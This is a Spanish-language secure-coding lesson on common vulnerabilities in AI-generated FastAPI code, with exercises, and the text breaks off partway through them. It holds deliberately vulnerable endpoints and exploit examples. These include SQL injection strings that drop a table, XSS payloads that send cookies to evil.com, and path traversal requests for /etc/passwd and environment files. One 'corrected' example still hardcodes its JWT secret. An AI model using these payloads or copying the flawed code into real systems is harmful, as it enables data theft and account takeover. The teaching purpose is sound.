Módulo 5: Patrones de Error Comunes

Security Holes Típicos en Código AI-Generated

Siguiente →

Security Holes Típicos en Código AI-Generated

Descripción de la cápsula

Las vulnerabilidades de seguridad son los errores con mayor impacto potencial. Un edge case no manejado causa un crash — un security hole puede exponer datos de todos tus usuarios, permitir acceso no autorizado, o destruir tu base de datos. Y lo peor: el código se ve correcto.

AI genera vulnerabilidades de seguridad porque prioriza funcionalidad sobre defensa. Cuando le pides "un endpoint para buscar usuarios", genera uno que funciona — con una query que concatena strings directamente en SQL. Cuando le pides "un endpoint de login", genera uno que valida credenciales — sin rate limiting, sin protección contra brute force.

Esta cápsula cubre 7 categorías de security holes que AI genera frecuentemente. Cada una incluye: el código vulnerable, por qué pasa un code review superficial, cómo explotarlo, y la corrección completa. No necesitas ser experto en seguridad — necesitas reconocer los patrones.

Categoría 1: SQL Injection via String Concatenation

El problema

AI construye queries SQL concatenando strings o usando f-strings en vez de parameterized queries. Es la vulnerabilidad más clásica y AI la genera consistentemente.

Código que AI genera

from fastapi import FastAPI, Query
import sqlite3

app = FastAPI()

DB_PATH = "app.db"


def get_db_connection() -> sqlite3.Connection:
    return sqlite3.connect(DB_PATH)


@app.get("/users/search")
async def search_users(
    username: str = Query(...),
    role: str = Query(default="user"),
) -> dict:
    conn = get_db_connection()
    cursor = conn.cursor()

    query = f"SELECT id, username, email, role FROM users WHERE username LIKE '%{username}%' AND role = '{role}'"
    cursor.execute(query)
    results = cursor.fetchall()
    conn.close()

    return {
        "query": username,
        "results": [
            {"id": r[0], "username": r[1], "email": r[2], "role": r[3]}
            for r in results
        ],
    }


@app.delete("/users/{user_id}")
async def delete_user(user_id: int) -> dict:
    conn = get_db_connection()
    cursor = conn.cursor()

    cursor.execute(f"DELETE FROM users WHERE id = {user_id}")
    conn.commit()
    conn.close()

    return {"deleted": user_id}

Por qué se ve bien a primera vista

  • El endpoint funciona correctamente con inputs normales
  • Usa SQLite correctamente (connect, cursor, execute, close)
  • Los tipos de FastAPI están declarados
  • La estructura del response es limpia

Cómo se explota

# Ataque 1: Extraer todos los usuarios (bypass de filtro)
# GET /users/search?username=' OR '1'='1&role=admin
# Query resultante:
# SELECT ... WHERE username LIKE '%' OR '1'='1%' AND role = 'admin'
# → Retorna todos los usuarios

# Ataque 2: Extraer passwords (UNION injection)
# GET /users/search?username=' UNION SELECT id,username,password,role FROM users--
# Query resultante:
# SELECT ... WHERE username LIKE '%' UNION SELECT id,username,password,role FROM users--%'
# → Retorna las passwords de todos los usuarios

# Ataque 3: Borrar toda la tabla (destructive injection)
# DELETE /users/0; DROP TABLE users; --
# Query resultante:
# DELETE FROM users WHERE id = 0; DROP TABLE users; --
# → Elimina toda la tabla de usuarios

# Ataque 4: Bypass de autenticación
# GET /users/search?role=admin' OR '1'='1
# Query resultante:
# SELECT ... AND role = 'admin' OR '1'='1'
# → Retorna todos los usuarios como si fueran admin

La corrección

from contextlib import contextmanager
from fastapi import FastAPI, Query, HTTPException
import sqlite3

app = FastAPI()

DB_PATH = "app.db"


@contextmanager
def get_db_connection():
    conn = sqlite3.connect(DB_PATH)
    conn.row_factory = sqlite3.Row
    try:
        yield conn
    finally:
        conn.close()


@app.get("/users/search")
async def search_users(
    username: str = Query(..., min_length=1, max_length=100),
    role: str = Query(default="user", pattern="^(user|admin|moderator)$"),
) -> dict:
    with get_db_connection() as conn:
        cursor = conn.cursor()
        cursor.execute(
            "SELECT id, username, email, role FROM users WHERE username LIKE ? AND role = ?",
            (f"%{username}%", role),
        )
        results = cursor.fetchall()

    return {
        "query": username,
        "results": [dict(r) for r in results],
    }


@app.delete("/users/{user_id}")
async def delete_user(user_id: int) -> dict:
    with get_db_connection() as conn:
        cursor = conn.cursor()
        cursor.execute("SELECT id FROM users WHERE id = ?", (user_id,))
        if cursor.fetchone() is None:
            raise HTTPException(status_code=404, detail="User not found")

        cursor.execute("DELETE FROM users WHERE id = ?", (user_id,))
        conn.commit()

    return {"deleted": user_id}

Cambios clave:

  • ? como placeholders — SQLite escapa automáticamente los valores
  • Context manager para la conexión — se cierra siempre, incluso con excepciones
  • row_factory = sqlite3.Row — acceso por nombre en vez de por índice
  • Validación de role con regex pattern — solo acepta valores conocidos
  • Verificación de existencia antes de delete
  • min_length y max_length en username — previene inputs vacíos o absurdamente largos

Señal de alerta

Busca f-strings (f"SELECT...") o concatenación ("SELECT..." + variable) dentro de queries SQL. Si ves la variable directamente en el string del query, es SQL injection.

Categoría 2: Secrets y API Keys Hardcoded

El problema

AI genera código con secrets directamente en el código fuente. Passwords, API keys, JWT secrets, connection strings — todo visible en el repositorio.

Código que AI genera

from fastapi import FastAPI, Depends, HTTPException
from jose import jwt
from datetime import datetime, timedelta
import httpx

app = FastAPI()

JWT_SECRET = "my-super-secret-key-2024"
JWT_ALGORITHM = "HS256"
DATABASE_URL = "postgresql://admin:password123@db.production.example.com:5432/myapp"
STRIPE_API_KEY = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"
SENDGRID_API_KEY = "SG.xxxxxxxxxxxxxxxxxxxxx.yyyyyyyyyyyyyyyyyyyyyy"
AWS_ACCESS_KEY = "AKIAIOSFODNN7EXAMPLE"
AWS_SECRET_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"


def create_access_token(user_id: int) -> str:
    payload = {
        "sub": str(user_id),
        "exp": datetime.utcnow() + timedelta(hours=24),
    }
    return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)


async def send_welcome_email(email: str) -> None:
    async with httpx.AsyncClient() as client:
        await client.post(
            "https://api.sendgrid.com/v3/mail/send",
            headers={"Authorization": f"Bearer {SENDGRID_API_KEY}"},
            json={
                "personalizations": [{"to": [{"email": email}]}],
                "from": {"email": "noreply@myapp.com"},
                "subject": "Welcome!",
                "content": [{"type": "text/plain", "value": "Welcome to our app!"}],
            },
        )


async def charge_customer(amount: int, token: str) -> dict:
    async with httpx.AsyncClient() as client:
        response = await client.post(
            "https://api.stripe.com/v1/charges",
            headers={"Authorization": f"Bearer {STRIPE_API_KEY}"},
            data={"amount": amount, "currency": "usd", "source": token},
        )
        return response.json()

Por qué se ve bien a primera vista

  • El código funciona correctamente
  • Los secrets tienen nombres claros como constantes
  • Las llamadas a APIs externas son correctas
  • La estructura es organizada

El impacto real

Si este código llega a un repositorio git (incluso privado):

1. JWT_SECRET expuesto → Cualquiera puede crear tokens válidos
   → Acceso total a todas las cuentas

2. DATABASE_URL con password → Acceso directo a la base de datos de producción
   → Dump completo de datos de usuarios

3. STRIPE_API_KEY (sk_live_) → Clave de Stripe de producción
   → Pueden hacer cargos a nombre de tu empresa

4. AWS keys → Acceso a toda tu infraestructura AWS
   → Minería de criptomonedas, destrucción de recursos, exfiltración de datos

5. SENDGRID_API_KEY → Pueden enviar emails a nombre de tu dominio
   → Phishing a tus usuarios

Costo potencial: desde miles hasta millones de dólares.
Tiempo para explotar: minutos después de un push accidental.
Git recuerda para siempre: borrar el commit no elimina el secret del historial.

La corrección

from fastapi import FastAPI
from pydantic_settings import BaseSettings
from functools import lru_cache
from jose import jwt
from datetime import datetime, timedelta, timezone


class Settings(BaseSettings):
    jwt_secret: str
    jwt_algorithm: str = "HS256"
    jwt_expiration_hours: int = 24
    database_url: str
    stripe_api_key: str
    sendgrid_api_key: str
    aws_access_key: str
    aws_secret_key: str

    model_config = {"env_file": ".env", "env_file_encoding": "utf-8"}


@lru_cache
def get_settings() -> Settings:
    return Settings()


app = FastAPI()


def create_access_token(user_id: int) -> str:
    settings = get_settings()
    payload = {
        "sub": str(user_id),
        "exp": datetime.now(timezone.utc) + timedelta(hours=settings.jwt_expiration_hours),
    }
    return jwt.encode(payload, settings.jwt_secret, algorithm=settings.jwt_algorithm)

Cambios clave:

  • BaseSettings carga valores de variables de entorno o archivo .env
  • jwt_secret: str sin default — falla al iniciar si no está configurada (fail-fast)
  • @lru_cache cachea la configuración en memoria
  • El archivo .env debe estar en .gitignore
  • datetime.now(timezone.utc) en vez de datetime.utcnow() (deprecado)

Archivo .env (nunca en git):

JWT_SECRET=your-actual-secret-here-generated-with-openssl
DATABASE_URL=postgresql://user:pass@localhost:5432/myapp
STRIPE_API_KEY=sk_test_...
SENDGRID_API_KEY=SG.xxx
AWS_ACCESS_KEY=AKIA...
AWS_SECRET_KEY=wJalr...

Archivo .gitignore:

.env
.env.*
!.env.example

Señal de alerta

Busca strings que parecen secrets: valores que empiezan con sk_, SG., AKIA, o cualquier string larga de aspecto aleatorio asignada a una constante. También busca password, secret, key, token como nombres de constantes con valores hardcoded.

Categoría 3: Endpoints Sin Autenticación

El problema

AI genera endpoints que funcionan pero no verifican si el usuario tiene permiso para acceder. Especialmente común en endpoints de admin, eliminación, o acceso a datos de otros usuarios.

Código que AI genera

from fastapi import FastAPI, HTTPException
from pydantic import BaseModel

app = FastAPI()


class UserUpdate(BaseModel):
    email: str | None = None
    role: str | None = None
    is_active: bool | None = None


users_db: dict[int, dict] = {
    1: {"id": 1, "username": "alice", "email": "alice@example.com", "role": "user", "is_active": True},
    2: {"id": 2, "username": "bob", "email": "bob@example.com", "role": "admin", "is_active": True},
}


@app.get("/admin/users")
async def list_all_users() -> list[dict]:
    return list(users_db.values())


@app.put("/users/{user_id}")
async def update_user(user_id: int, update: UserUpdate) -> dict:
    if user_id not in users_db:
        raise HTTPException(status_code=404, detail="User not found")

    user = users_db[user_id]
    if update.email is not None:
        user["email"] = update.email
    if update.role is not None:
        user["role"] = update.role
    if update.is_active is not None:
        user["is_active"] = update.is_active

    return user


@app.delete("/users/{user_id}")
async def delete_user(user_id: int) -> dict:
    if user_id not in users_db:
        raise HTTPException(status_code=404, detail="User not found")
    del users_db[user_id]
    return {"deleted": user_id}


@app.get("/users/{user_id}/private-data")
async def get_user_private_data(user_id: int) -> dict:
    if user_id not in users_db:
        raise HTTPException(status_code=404, detail="User not found")
    user = users_db[user_id]
    return {
        "email": user["email"],
        "role": user["role"],
        "last_ip": "192.168.1.100",
        "login_history": ["2024-01-15", "2024-01-14"],
    }

Cómo se explota

Cualquier persona con acceso al API puede:

1. GET /admin/users
   → Ver todos los usuarios sin ser admin

2. PUT /users/2 {"role": "admin"}
   → Un usuario normal se da permisos de admin

3. DELETE /users/2
   → Cualquiera puede eliminar cualquier usuario

4. GET /users/1/private-data
   → Ver datos privados de otros usuarios (email, IP, historial)

5. PUT /users/1 {"is_active": false}
   → Desactivar la cuenta de otro usuario

No hay ningún mecanismo que verifique: (a) que el request viene de un usuario autenticado, (b) que ese usuario tiene permiso para la operación.

La corrección

from fastapi import FastAPI, HTTPException, Depends
from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
from pydantic import BaseModel
from jose import jwt, JWTError

app = FastAPI()

security = HTTPBearer()


class UserUpdate(BaseModel):
    email: str | None = None


class AdminUserUpdate(BaseModel):
    email: str | None = None
    role: str | None = None
    is_active: bool | None = None


users_db: dict[int, dict] = {
    1: {"id": 1, "username": "alice", "email": "alice@example.com", "role": "user", "is_active": True},
    2: {"id": 2, "username": "bob", "email": "bob@example.com", "role": "admin", "is_active": True},
}


async def get_current_user(
    credentials: HTTPAuthorizationCredentials = Depends(security),
) -> dict:
    try:
        payload = jwt.decode(
            credentials.credentials,
            "secret",
            algorithms=["HS256"],
        )
        user_id = int(payload["sub"])
    except (JWTError, KeyError, ValueError):
        raise HTTPException(status_code=401, detail="Invalid token")

    user = users_db.get(user_id)
    if user is None or not user.get("is_active"):
        raise HTTPException(status_code=401, detail="User not found or inactive")
    return user


async def require_admin(current_user: dict = Depends(get_current_user)) -> dict:
    if current_user.get("role") != "admin":
        raise HTTPException(status_code=403, detail="Admin access required")
    return current_user


@app.get("/admin/users")
async def list_all_users(admin: dict = Depends(require_admin)) -> list[dict]:
    return list(users_db.values())


@app.put("/users/{user_id}")
async def update_user(
    user_id: int,
    update: UserUpdate,
    current_user: dict = Depends(get_current_user),
) -> dict:
    if current_user["id"] != user_id:
        raise HTTPException(status_code=403, detail="Can only update your own profile")

    if user_id not in users_db:
        raise HTTPException(status_code=404, detail="User not found")

    user = users_db[user_id]
    if update.email is not None:
        user["email"] = update.email
    return user


@app.delete("/users/{user_id}")
async def delete_user(
    user_id: int,
    admin: dict = Depends(require_admin),
) -> dict:
    if user_id not in users_db:
        raise HTTPException(status_code=404, detail="User not found")
    if user_id == admin["id"]:
        raise HTTPException(status_code=400, detail="Cannot delete yourself")
    del users_db[user_id]
    return {"deleted": user_id}


@app.get("/users/{user_id}/private-data")
async def get_user_private_data(
    user_id: int,
    current_user: dict = Depends(get_current_user),
) -> dict:
    if current_user["id"] != user_id and current_user.get("role") != "admin":
        raise HTTPException(status_code=403, detail="Access denied")

    if user_id not in users_db:
        raise HTTPException(status_code=404, detail="User not found")

    user = users_db[user_id]
    return {
        "email": user["email"],
        "role": user["role"],
    }

Cambios clave:

  • get_current_user dependency valida el JWT token en cada request
  • require_admin extiende get_current_user verificando el rol
  • Usuarios normales solo pueden editar su propio perfil
  • Solo admins pueden eliminar usuarios (pero no a sí mismos)
  • Datos privados solo accesibles por el propio usuario o admin
  • UserUpdate (para usuarios normales) no permite cambiar role ni is_active

Señal de alerta

Endpoints con @app.delete, @app.put, o rutas con /admin/ que no tienen Depends(...) en sus parámetros. Si un endpoint modifica datos o expone información sensible y no tiene una dependency de autenticación, es un security hole.

Categoría 4: XSS en Template Rendering

El problema

AI genera código que inserta datos del usuario directamente en HTML sin escapar, permitiendo ejecución de JavaScript malicioso.

Código que AI genera

from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse

app = FastAPI()

comments: list[dict] = []


@app.post("/comments")
async def add_comment(request: Request) -> dict:
    form = await request.form()
    comment = {
        "author": form.get("author", "Anonymous"),
        "text": form.get("text", ""),
    }
    comments.append(comment)
    return comment


@app.get("/comments", response_class=HTMLResponse)
async def show_comments() -> str:
    html = "<html><body><h1>Comments</h1>"
    for comment in comments:
        html += f"""
        <div class="comment">
            <strong>{comment['author']}</strong>
            <p>{comment['text']}</p>
        </div>
        """
    html += "</body></html>"
    return html

Cómo se explota

# Ataque: inyectar JavaScript via el campo "text"
# POST /comments
# text=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
# author=Hacker

# Cuando cualquier usuario visita GET /comments:
# El navegador ejecuta el script inyectado
# → Envía las cookies de sesión al servidor del atacante
# → El atacante puede impersonar al usuario

# Ataque más sutil (sin <script>):
# text=<img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">
# → Se ve como una imagen rota, pero ejecuta JavaScript

# Ataque de defacing:
# text=<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:red;z-index:9999"><h1>HACKED</h1></div>
# → Cubre toda la página con un mensaje

La corrección

from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse
from markupsafe import escape

app = FastAPI()

comments: list[dict] = []

MAX_COMMENT_LENGTH = 1000
MAX_AUTHOR_LENGTH = 50


@app.post("/comments")
async def add_comment(request: Request) -> dict:
    form = await request.form()
    author = str(form.get("author", "Anonymous"))[:MAX_AUTHOR_LENGTH]
    text = str(form.get("text", ""))[:MAX_COMMENT_LENGTH]

    comment = {
        "author": author,
        "text": text,
    }
    comments.append(comment)
    return comment


@app.get("/comments", response_class=HTMLResponse)
async def show_comments() -> str:
    html = "<html><body><h1>Comments</h1>"
    for comment in comments:
        safe_author = escape(comment["author"])
        safe_text = escape(comment["text"])
        html += f"""
        <div class="comment">
            <strong>{safe_author}</strong>
            <p>{safe_text}</p>
        </div>
        """
    html += "</body></html>"
    return html

Cambios clave:

  • markupsafe.escape() convierte <script> en &lt;script&gt; — se muestra como texto, no se ejecuta
  • Límite de longitud en inputs — previene payloads enormes
  • str() wrapping previene tipos inesperados

Mejor aún: usar Jinja2 templates (que escapan automáticamente):

from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates

app = FastAPI()
templates = Jinja2Templates(directory="templates")

@app.get("/comments")
async def show_comments(request: Request):
    return templates.TemplateResponse(
        "comments.html",
        {"request": request, "comments": comments},
    )

Jinja2 escapa HTML automáticamente por defecto — elimina la clase completa de vulnerabilidad XSS.

Señal de alerta

Busca f-strings que generan HTML con datos de usuarios. Si ves f"<div>{user_data}</div>" sin escape(), es XSS.

Categoría 5: CORS Misconfiguration

El problema

AI configura CORS con allow_origins=["*"] para que "funcione", permitiendo que cualquier sitio web haga requests a tu API.

Código que AI genera

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

El problema real

allow_origins=["*"] con allow_credentials=True es particularmente peligroso. Permite que cualquier sitio web:

  1. Haga requests a tu API con las cookies del usuario
  2. Lea las respuestas (datos sensibles)
  3. Ejecute acciones como si fuera el usuario
Escenario de ataque:

1. Usuario está logueado en tu-app.com (tiene session cookie)
2. Usuario visita evil-site.com (sitio del atacante)
3. evil-site.com hace fetch("https://tu-api.com/users/me")
4. El browser envía la cookie de sesión automáticamente
5. Tu API responde con los datos del usuario
6. evil-site.com lee la respuesta → tiene los datos del usuario

La corrección

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from pydantic_settings import BaseSettings


class Settings(BaseSettings):
    allowed_origins: list[str] = ["http://localhost:3000"]
    environment: str = "development"

    model_config = {"env_prefix": "APP_"}


settings = Settings()

app = FastAPI()

app.add_middleware(
    CORSMiddleware,
    allow_origins=settings.allowed_origins,
    allow_credentials=True,
    allow_methods=["GET", "POST", "PUT", "DELETE"],
    allow_headers=["Authorization", "Content-Type"],
)

Cambios clave:

  • Orígenes explícitos en vez de "*" — solo tu frontend puede hacer requests
  • Métodos explícitos — solo los HTTP methods que tu API usa
  • Headers explícitos — solo los headers que tu frontend necesita
  • Configuración vía environment variables — diferente por ambiente

Señal de alerta

Busca allow_origins=["*"] en cualquier middleware CORS. Si también hay allow_credentials=True, es un problema de seguridad grave.

Categoría 6: Missing Rate Limiting

El problema

AI no agrega rate limiting a endpoints sensibles. Sin límites, un atacante puede hacer miles de requests por segundo para brute-force passwords, agotar recursos, o scrape datos.

Código que AI genera

from fastapi import FastAPI, HTTPException
from pydantic import BaseModel

app = FastAPI()


class LoginRequest(BaseModel):
    username: str
    password: str


@app.post("/login")
async def login(request: LoginRequest) -> dict:
    user = authenticate(request.username, request.password)
    if not user:
        raise HTTPException(status_code=401, detail="Invalid credentials")
    return {"token": create_token(user["id"])}


@app.post("/forgot-password")
async def forgot_password(email: str) -> dict:
    send_reset_email(email)
    return {"message": "If the email exists, a reset link was sent"}

Cómo se explota

Brute-force en /login:
- Un script prueba 10,000 passwords por minuto
- Sin rate limiting, cada intento se procesa
- Con passwords comunes, el acceso se consigue en horas

Email bombing en /forgot-password:
- Un script envía 1,000 requests con el email de la víctima
- La víctima recibe 1,000 emails de reset password
- Tu servicio de email puede ser bloqueado por spam

La corrección

from fastapi import FastAPI, HTTPException, Request
from pydantic import BaseModel
from datetime import datetime, timedelta

app = FastAPI()

login_attempts: dict[str, list[datetime]] = {}
MAX_LOGIN_ATTEMPTS = 5
LOGIN_WINDOW_MINUTES = 15

password_reset_attempts: dict[str, list[datetime]] = {}
MAX_RESET_ATTEMPTS = 3
RESET_WINDOW_MINUTES = 60


def check_rate_limit(
    key: str,
    store: dict[str, list[datetime]],
    max_attempts: int,
    window_minutes: int,
) -> None:
    """Verifica rate limit. Lanza 429 si se excede."""
    now = datetime.now()
    window_start = now - timedelta(minutes=window_minutes)

    if key not in store:
        store[key] = []

    store[key] = [t for t in store[key] if t > window_start]

    if len(store[key]) >= max_attempts:
        raise HTTPException(
            status_code=429,
            detail=f"Too many attempts. Try again in {window_minutes} minutes.",
        )

    store[key].append(now)


class LoginRequest(BaseModel):
    username: str
    password: str


@app.post("/login")
async def login(request: LoginRequest, req: Request) -> dict:
    client_ip = req.client.host if req.client else "unknown"
    rate_key = f"{client_ip}:{request.username}"

    check_rate_limit(rate_key, login_attempts, MAX_LOGIN_ATTEMPTS, LOGIN_WINDOW_MINUTES)

    user = authenticate(request.username, request.password)
    if not user:
        raise HTTPException(status_code=401, detail="Invalid credentials")

    login_attempts.pop(rate_key, None)
    return {"token": create_token(user["id"])}


@app.post("/forgot-password")
async def forgot_password(email: str, req: Request) -> dict:
    client_ip = req.client.host if req.client else "unknown"

    check_rate_limit(client_ip, password_reset_attempts, MAX_RESET_ATTEMPTS, RESET_WINDOW_MINUTES)

    send_reset_email(email)
    return {"message": "If the email exists, a reset link was sent"}

Cambios clave:

  • Rate limit por IP + username en login — previene brute-force
  • Rate limit por IP en reset — previene email bombing
  • Limpieza de intentos exitosos — un login exitoso resetea el contador
  • HTTP 429 (Too Many Requests) — status code estándar

Señal de alerta

Endpoints de /login, /register, /forgot-password, /verify-code sin ninguna protección de rate limit. Cualquier endpoint que valide credenciales necesita rate limiting.

Categoría 7: Information Exposure en Error Messages y Path Traversal

El problema: Information Exposure

AI genera mensajes de error demasiado detallados que revelan información interna del sistema: stack traces, nombres de tablas, versiones de software, rutas del filesystem.

Código que AI genera

from fastapi import FastAPI, HTTPException
import traceback

app = FastAPI()


@app.get("/users/{user_id}")
async def get_user(user_id: int) -> dict:
    try:
        user = query_database(f"SELECT * FROM users WHERE id = {user_id}")
        return user
    except Exception as e:
        raise HTTPException(
            status_code=500,
            detail={
                "error": str(e),
                "traceback": traceback.format_exc(),
                "query": f"SELECT * FROM users WHERE id = {user_id}",
                "database": "postgresql://admin:pass@db.internal:5432/prod",
            },
        )

Un atacante que recibe este error obtiene: la query SQL, la connection string (con password), el stack trace (revela librerías y versiones), y la estructura de la tabla.

La corrección para Information Exposure

import logging
import uuid
from fastapi import FastAPI, HTTPException, Request
from fastapi.responses import JSONResponse

app = FastAPI()
logger = logging.getLogger(__name__)


@app.exception_handler(Exception)
async def global_exception_handler(request: Request, exc: Exception) -> JSONResponse:
    error_id = str(uuid.uuid4())[:8]
    logger.error(
        "Unhandled error %s: %s | Path: %s",
        error_id,
        str(exc),
        request.url.path,
        exc_info=True,
    )
    return JSONResponse(
        status_code=500,
        content={
            "error": "Internal server error",
            "error_id": error_id,
            "message": "An unexpected error occurred. Contact support with the error_id.",
        },
    )

El problema: Path Traversal

AI genera endpoints de descarga de archivos sin validar la ruta, permitiendo acceso a archivos del sistema.

Código que AI genera

from fastapi import FastAPI
from fastapi.responses import FileResponse

app = FastAPI()

UPLOAD_DIR = "/app/uploads"


@app.get("/files/{filename}")
async def download_file(filename: str) -> FileResponse:
    filepath = f"{UPLOAD_DIR}/{filename}"
    return FileResponse(filepath)

Cómo se explota

# Ataque: path traversal
# GET /files/../../etc/passwd
# filepath = "/app/uploads/../../etc/passwd" = "/etc/passwd"
# → Retorna el archivo de passwords del sistema

# GET /files/../../../app/config.py
# → Retorna el código fuente de la aplicación (con secrets)

# GET /files/../../proc/self/environ
# → Retorna las variables de entorno del proceso (con API keys)

La corrección para Path Traversal

from pathlib import Path
from fastapi import FastAPI, HTTPException
from fastapi.responses import FileResponse

app = FastAPI()

UPLOAD_DIR = Path("/app/uploads").resolve()


@app.get("/files/{filename}")
async def download_file(filename: str) -> FileResponse:
    if ".." in filename or "/" in filename or "\\" in filename:
        raise HTTPException(status_code=400, detail="Invalid filename")

    filepath = (UPLOAD_DIR / filename).resolve()

    if not filepath.is_relative_to(UPLOAD_DIR):
        raise HTTPException(status_code=403, detail="Access denied")

    if not filepath.is_file():
        raise HTTPException(status_code=404, detail="File not found")

    return FileResponse(filepath)

Cambios clave:

  • Doble validación: primero rechaza caracteres sospechosos, luego verifica con is_relative_to
  • Path.resolve() resuelve symlinks y .. — la ruta final se compara contra el directorio permitido
  • is_file() verifica que existe y es un archivo (no un directorio)

Señal de alerta

Busca f"{directory}/{user_input}" o os.path.join(dir, user_input) sin validación. Si el input del usuario se usa para construir rutas de archivo, es path traversal potencial.

Resumen de Señales de Alerta

Checklist rápido de security:

☐ f-strings o concatenación dentro de queries SQL
  → Usar parameterized queries (? o %s)

☐ Strings que parecen secrets asignados a constantes
  → Mover a variables de entorno con pydantic-settings

☐ Endpoints que modifican/borran datos sin Depends()
  → Agregar dependency de autenticación

☐ f-strings que generan HTML con datos de usuario
  → Usar markupsafe.escape() o Jinja2

☐ allow_origins=["*"] con allow_credentials=True
  → Especificar orígenes explícitos

☐ /login y /forgot-password sin rate limiting
  → Implementar límites por IP y/o usuario

☐ Mensajes de error con traceback o connection strings
  → Log interno detallado, respuesta genérica al cliente

☐ User input usado para construir file paths
  → Validar con Path.resolve() y is_relative_to()

Conexión con Proyecto

El proyecto integrador del módulo 8 contiene 3-4 security holes. Busca específicamente:

  • ✅ Al menos una query SQL con concatenación de strings
  • ✅ Al menos un secret hardcoded en el código
  • ✅ Al menos un endpoint sin autenticación que debería tenerla
  • ✅ Posiblemente XSS o CORS misconfiguration

Los patrones de esta cápsula son exactamente lo que encontrarás en el proyecto.

Troubleshooting

"¿Las parameterized queries son igual de flexibles que f-strings?"

Sí. Cualquier query que puedes escribir con f-strings la puedes escribir con parámetros. Los parámetros solo reemplazan valores, no estructura SQL. Para queries dinámicas (filtros opcionales), construye la estructura del query en Python y pasa los valores como parámetros.

"¿Si uso un ORM como SQLAlchemy, estoy protegido contra SQL injection?"

En general sí, si usas la API del ORM. Pero si usas text() con f-strings o execute() con queries concatenados, sigues vulnerable. El ORM protege cuando usas sus métodos (.filter(), .where()).

"¿Puedo usar allow_origins=['*'] sin allow_credentials?"

Sí, para APIs públicas sin autenticación (datos abiertos, APIs de referencia). Pero si tu API usa cualquier forma de autenticación (cookies, tokens), no uses "*".

"¿El rate limiting in-memory es suficiente para producción?"

No para producción con múltiples workers. En producción, usa Redis para rate limiting compartido entre workers. El in-memory es adecuado para desarrollo y MVPs con un solo worker.

"¿Cómo detecto si mi código actual tiene estos problemas?"

Herramientas como bandit (Python security linter) detectan muchos de estos patrones automáticamente. Ejecuta pip install bandit && bandit -r . para un scan rápido de tu codebase.

Ejercicios

Ejercicio 1: Encontrar la SQL injection

Identifica la vulnerabilidad y corrígela:

from fastapi import FastAPI
import sqlite3

app = FastAPI()

@app.get("/products")
async def search_products(category: str, min_price: float = 0) -> list[dict]:
    conn = sqlite3.connect("shop.db")
    cursor = conn.cursor()
    query = f"SELECT * FROM products WHERE category = '{category}' AND price >= {min_price}"
    cursor.execute(query)
    results = cursor.fetchall()
    conn.close()
    return [{"id": r[0], "name": r[1], "price": r[2]} for r in results]
Ver solución 
from fastapi import FastAPI, Query
from contextlib import contextmanager
import sqlite3

app = FastAPI()

@contextmanager
def get_db():
    conn = sqlite3.connect("shop.db")
    conn.row_factory = sqlite3.Row
    try:
        yield conn
    finally:
        conn.close()

@app.get("/products")
async def search_products(
    category: str = Query(..., min_length=1, max_length=50),
    min_price: float = Query(default=0, ge=0),
) -> list[dict]:
    with get_db() as conn:
        cursor = conn.cursor()
        cursor.execute(
            "SELECT id, name, price FROM products WHERE category = ? AND price >= ?",
            (category, min_price),
        )
        return [dict(r) for r in cursor.fetchall()]

Ambos valores (category y min_price) van como parámetros ?. El context manager garantiza que la conexión se cierre siempre.

Ejercicio 2: Eliminar secrets hardcoded

Convierte estos secrets a configuración segura:

app = FastAPI()

OPENAI_API_KEY = "sk-proj-abc123def456ghi789"
REDIS_URL = "redis://:mypassword@redis.internal:6379/0"
ADMIN_EMAIL = "admin@company.com"
WEBHOOK_SECRET = "whsec_1234567890abcdef"
Ver solución 
from pydantic_settings import BaseSettings
from functools import lru_cache
from fastapi import FastAPI

class Settings(BaseSettings):
    openai_api_key: str
    redis_url: str
    admin_email: str = "admin@company.com"
    webhook_secret: str

    model_config = {"env_file": ".env"}

@lru_cache
def get_settings() -> Settings:
    return Settings()

app = FastAPI()

Archivo .env.example (para documentar qué variables son necesarias, va al repo):

OPENAI_API_KEY=your-key-here
REDIS_URL=redis://localhost:6379/0
ADMIN_EMAIL=admin@company.com
WEBHOOK_SECRET=your-webhook-secret

admin_email tiene default porque no es sensible. Los secrets (openai_api_key, redis_url, webhook_secret) no tienen default — la app falla si no están configurados.

Ejercicio 3: Agregar autenticación a endpoint

Este endpoint permite a cualquiera ver datos de cualquier usuario. Agrégale autenticación y autorización:

from fastapi import FastAPI

app = FastAPI()

@app.get("/users/{user_id}/billing")
async def get_billing_info(user_id: int) -> dict:
    return {
        "user_id": user_id,
        "credit_card_last4": "4242",
        "billing_address": "123 Main St",
        "balance": 150.00,
    }
Ver solución 
from fastapi import FastAPI, Depends, HTTPException
from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
from jose import jwt, JWTError
from functools import lru_cache

app = FastAPI()
security = HTTPBearer()

@lru_cache
def get_jwt_secret() -> str:
    from pydantic_settings import BaseSettings
    class S(BaseSettings):
        jwt_secret: str
        model_config = {"env_file": ".env"}
    return S().jwt_secret

async def get_current_user(
    credentials: HTTPAuthorizationCredentials = Depends(security),
) -> dict:
    try:
        payload = jwt.decode(
            credentials.credentials,
            get_jwt_secret(),
            algorithms=["HS256"],
        )
        return {"id": int(payload["sub"]), "role": payload.get("role", "user")}
    except (JWTError, KeyError, ValueError):
        raise HTTPException(status_code=401, detail="Invalid token")

@app.get("/users/{user_id}/billing")
async def get_billing_info(
    user_id: int,
    current_user: dict = Depends(get_current_user),
) -> dict:
    if current_user["id"] != user_id and current_user["role"] != "admin":
        raise HTTPException(status_code=403, detail="Access denied")

    return {
        "user_id": user_id,
        "credit_card_last4": "4242",
        "billing_address": "123 Main St",
        "balance": 150.00,
    }

Un usuario solo puede ver su propia billing info. Los admins pueden ver la de cualquiera.

Ejercicio 4: Fix CORS y agregar rate limiting

Corrige la configuración CORS y agrega rate limiting al endpoint de login:

from fastapi import FastAPI
